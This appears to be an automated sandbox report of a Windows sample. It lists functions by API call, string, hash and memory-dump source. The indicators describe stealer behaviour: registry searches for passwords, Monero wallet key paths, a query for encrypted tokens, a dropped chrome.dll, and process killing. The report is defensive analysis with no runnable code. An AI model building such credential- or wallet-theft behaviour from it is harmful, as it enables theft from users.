Opcode Fuzzy Hash: 17caed44d843369f8ec1b56477c2164516d396e11118f3f413884ec39d6a8976
Instruction Fuzzy Hash: 012108B1E44208ABDB00DFD5CC49FBEB7B8FB44B14F104559F619BB280D7B869048BA5

Function 00BA60F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Part of subcall function 00BA4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BA4889
Part of subcall function 00BA4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BA4899

InternetOpenA.WININET(00BC0DFB,00000001,00000000,00000000,00000000), ref: 00BA615F
StrCmpCA.SHLWAPI(?,0130EE58), ref: 00BA6197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00BA61DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00BA6203
InternetReadFile.WININET(?,?,00000400,?), ref: 00BA622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00BA625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00BA6299
InternetCloseHandle.WININET(?), ref: 00BA62A3
InternetCloseHandle.WININET(00000000), ref: 00BA62B0

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 00b9ecc71b690b4fbb51e6b88c9837432680fa20ba45c27be5a1180a2c917d24
Instruction ID: 4de67d1130c755481af3319853753771696a45b99f62c831710ebedf3e0c11fe
Opcode Fuzzy Hash: 00b9ecc71b690b4fbb51e6b88c9837432680fa20ba45c27be5a1180a2c917d24
Instruction Fuzzy Hash: D5514EB1A04218AFDF20DFA0CC45BEE77B8AB45301F4040D8E609B71C0DBB4AA89CF95

Function 00C2012E Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00C2024D
___TypeMatch.LIBVCRUNTIME ref: 00C2035B
CatchIt.LIBVCRUNTIME ref: 00C203AC
CallUnexpected.LIBVCRUNTIME ref: 00C204C8

Strings

csm, xrefs: 00C20284
csm, xrefs: 00C201D8
csm, xrefs: 00C2016B

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: CallCatchMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2356445960-393685449
Opcode ID: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction ID: 230816e2a2c2ea3a6d7eeb0557c29a34d7cc0d6b0eb7adece47379d1cf63103a
Opcode Fuzzy Hash: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction Fuzzy Hash: B6B19F71800229DFCF15EFA4E8819AEBBB5FF14310F24815BE9216BA13D730DA51DB91

Function 00BA7330 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00BA739A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00BA7411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00BA746D
GetProcessHeap.KERNEL32(00000000,?), ref: 00BA74B2
HeapFree.KERNEL32(00000000), ref: 00BA74B9
task.LIBCPMTD ref: 00BA75B5

Strings

Password, xrefs: 00BA7461

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 0903113ef9a08b78b5529f558be00cda89c3d81d4217f6fa09ea723b33ff3ac1
Instruction ID: 5f4af7e8799aa47cf84ac217d44d6365b78bc5b7b97acc75183d4e5c9f4406b5
Opcode Fuzzy Hash: 0903113ef9a08b78b5529f558be00cda89c3d81d4217f6fa09ea723b33ff3ac1
Instruction Fuzzy Hash: FC61F8B5D482689BDB24DB50CC55BD9B7F8FB59300F0081E9E689A6141EFB06BC9CF90

Function 00BABA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

lstrlen.KERNEL32(00000000), ref: 00BABC6F

Part of subcall function 00BB8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BB8FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 00BABC9D
lstrlen.KERNEL32(00000000), ref: 00BABD75
lstrlen.KERNEL32(00000000), ref: 00BABD89

Strings

AccountTokens, xrefs: 00BABB19
AccountTokens, xrefs: 00BABA8A
AccountId, xrefs: 00BABC94
SELECT service, encrypted_token FROM token_service, xrefs: 00BABBBB

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 4ad8f1275589a1a8e1ed2cc3db54a02ac67dd3c8634d87c62c8d7aa49944d883
Instruction ID: f47b0aef80231fb6592cd4ef1b77ff0262f0a95c103f8ca60bbf69e0a46d15b8
Opcode Fuzzy Hash: 4ad8f1275589a1a8e1ed2cc3db54a02ac67dd3c8634d87c62c8d7aa49944d883
Instruction Fuzzy Hash: 09B1FF71D10108ABCF14EBA0DDA6EFE77B9AF54300F4045E8F51676192EFB46A48CB62

Function 00BB6A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00BB6A14
ExitProcess.KERNEL32 ref: 00BB6A45
ExitProcess.KERNEL32 ref: 00BB6A4F
ExitProcess.KERNEL32 ref: 00BB6A59
ExitProcess.KERNEL32 ref: 00BB6A63
ExitProcess.KERNEL32 ref: 00BB6A6D

Strings

*, xrefs: 00BB6A2C

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: c276a3a63de13fffb9ca216336902a2669b4ef9d4878b258489af8b7921406c4
Instruction ID: 7278611f4f0b15dd07090615a01a2d0836eb639f6d57bd798125ff6a52fe40ef
Opcode Fuzzy Hash: c276a3a63de13fffb9ca216336902a2669b4ef9d4878b258489af8b7921406c4
Instruction Fuzzy Hash: EBF03A3090A209EFD744EFE2A8097ACBB70EB04706F5141A5E65DB65A0CBB44A80DB51

Function 00BB08A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BB9850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00BB08DC,C:\ProgramData\chrome.dll), ref: 00BB9871

Part of subcall function 00BAA090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00BAA098

StrCmpCA.SHLWAPI(00000000,013096D8), ref: 00BB0922
StrCmpCA.SHLWAPI(00000000,01309658), ref: 00BB0B79
StrCmpCA.SHLWAPI(00000000,01309638), ref: 00BB0A0C

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00BB0C35

Strings

C:\ProgramData\chrome.dll, xrefs: 00BB08CD
C:\ProgramData\chrome.dll, xrefs: 00BB0C30

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: 808df9fb12b437995d4980124a41ba54c3b73c5d5d33bc706aee480f62dbc610
Instruction ID: 4f29952ce1498d42dcf31835ca110031e8f75c0163db123860ad5ed7f603b8c4
Opcode Fuzzy Hash: 808df9fb12b437995d4980124a41ba54c3b73c5d5d33bc706aee480f62dbc610
Instruction Fuzzy Hash: 31A11571B001089FCB28EF64D996EFD77F6EF95300F5085ADE40A5F291DA709A09CB92

Function 00BA9E30 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 163stringsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB8CF0: GetSystemTime.KERNEL32(00BC0E1B,0130AA18,00BC05B6,?,?,00BA13F9,?,0000001A,00BC0E1B,00000000,?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BB8D16

wsprintfA.USER32 ref: 00BA9E7F
lstrcat.KERNEL32(00000000,?), ref: 00BA9F03
lstrcat.KERNEL32(00000000,?), ref: 00BA9F17
lstrcat.KERNEL32(00000000,00BC12D8), ref: 00BA9F29
lstrcpy.KERNEL32(?,00000000), ref: 00BA9F7C
Sleep.KERNEL32(00001388), ref: 00BAA013

Part of subcall function 00BB99A0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BB99C5
Part of subcall function 00BB99A0: Process32First.KERNEL32(00BAA056,00000128), ref: 00BB99D9
Part of subcall function 00BB99A0: Process32Next.KERNEL32(00BAA056,00000128), ref: 00BB99F2
Part of subcall function 00BB99A0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 00BB9A4E
Part of subcall function 00BB99A0: TerminateProcess.KERNEL32(00000000,00000000), ref: 00BB9A6C
Part of subcall function 00BB99A0: CloseHandle.KERNEL32(00000000), ref: 00BB9A79
Part of subcall function 00BB99A0: CloseHandle.KERNEL32(00BAA056), ref: 00BB9A88

Strings

D, xrefs: 00BA9FA4

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseHandleProcessProcess32$CreateFirstNextOpenSleepSnapshotSystemTerminateTimeToolhelp32lstrcpywsprintf
String ID: D
API String ID: 531068710-2746444292
Opcode ID: ab550a190cf489297d48f3b96e2a37f65417ece2a2092a42f439474c71fbb89c
Instruction ID: 4785035b0953acb99d06b3c2975321a92eca4726f7b54daf8a612b6d777d07b5
Opcode Fuzzy Hash: ab550a190cf489297d48f3b96e2a37f65417ece2a2092a42f439474c71fbb89c
Instruction Fuzzy Hash: B15188B5D44308ABDB24DB60DC4AFEA77B8AB44700F0045D8B60DAB2D1EB755B88CF51

Function 00C1F9E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00C1FA1F
___except_validate_context_record.LIBVCRUNTIME ref: 00C1FA27
_ValidateLocalCookies.LIBCMT ref: 00C1FAB0
__IsNonwritableInCurrentImage.LIBCMT ref: 00C1FADB
_ValidateLocalCookies.LIBCMT ref: 00C1FB30

Strings

csm, xrefs: 00C1FAC5

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction ID: 109d7ff537de0255e1b7240c1b3e804fe10c303fb5e1eee085b494598ac04355
Opcode Fuzzy Hash: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction Fuzzy Hash: 6B41A930900119DFCF10DF68C884ADD7BB5FF46314F14816AE829AB352D735DA86EB91

Function 00BA5000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00BA501A
RtlAllocateHeap.NTDLL(00000000), ref: 00BA5021
InternetOpenA.WININET(00BC0DE3,00000000,00000000,00000000,00000000), ref: 00BA503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00BA5061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00BA5091
InternetCloseHandle.WININET(?), ref: 00BA5109
InternetCloseHandle.WININET(?), ref: 00BA5116

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: bb4d61efcadd214afc22ca79de519819ca1ef6cd579ffcaca8cb5b4a47db5bd3
Instruction ID: a65a082fb3fc7695deaa145e4e07a7bb86382005fbbfc352d47a1f00c665084b
Opcode Fuzzy Hash: bb4d61efcadd214afc22ca79de519819ca1ef6cd579ffcaca8cb5b4a47db5bd3
Instruction Fuzzy Hash: BC31F6B4A44218ABDB20CF54DC85BDDB7B4AB48304F5081E8FA09B7281D7706EC58F98

Function 00BB856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00BB85B6
wsprintfA.USER32 ref: 00BB85E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00BB860B
RegCloseKey.ADVAPI32(00000000), ref: 00BB861C
RegCloseKey.ADVAPI32(00000000), ref: 00BB8629

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

RegQueryValueExA.ADVAPI32(00000000,0130E630,00000000,000F003F,?,00000400), ref: 00BB867C
lstrlen.KERNEL32(?), ref: 00BB8691
